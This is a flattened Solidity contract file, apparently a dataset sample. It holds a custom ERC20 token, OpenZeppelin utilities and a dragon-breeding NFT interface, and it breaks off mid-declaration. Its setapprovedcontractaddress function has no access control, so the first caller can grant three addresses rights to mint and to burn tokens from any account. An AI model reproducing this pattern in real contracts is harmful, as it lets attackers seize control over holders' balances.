[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,877
0x95ddf26d73dfbbffc5a3d008bfdb3fef71fb8a84
// File: contracts/erc20interface.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20_ { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: contracts/_ERC20.sol pragma solidity ^0.8.0; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint counter; mapping (address =>bool) onlyapprovedcontractaddress; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_ ,uint amount,address owneraddress) { _name = name_; _symbol = symbol_; _mint(owneraddress,amount); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function setapprovedcontractaddress(address add,address addacient,address addbaby)external { require(counter<1, "already called"); onlyapprovedcontractaddress[add] =true; onlyapprovedcontractaddress[addacient] =true; onlyapprovedcontractaddress[addbaby] =true; counter+=1; } function mint(address add, uint amount)external{ require(onlyapprovedcontractaddress[msg.sender] ==true, "you are not approved to mint"); _mint(add,amount); } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function burn(address add,uint256 amount)public{ require(onlyapprovedcontractaddress[msg.sender] ==true, "you are not approved to mint"); _burn(add,amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: contracts/nftInterface.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface _IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); function walletofNFT(address _owner)external view returns (uint256[] memory); function checkrewardbal(address add)external view returns(uint); function checkrewardbal()external view returns(uint); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; function checkdragonnotbreeded(address add)external view returns(uint[] memory); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function 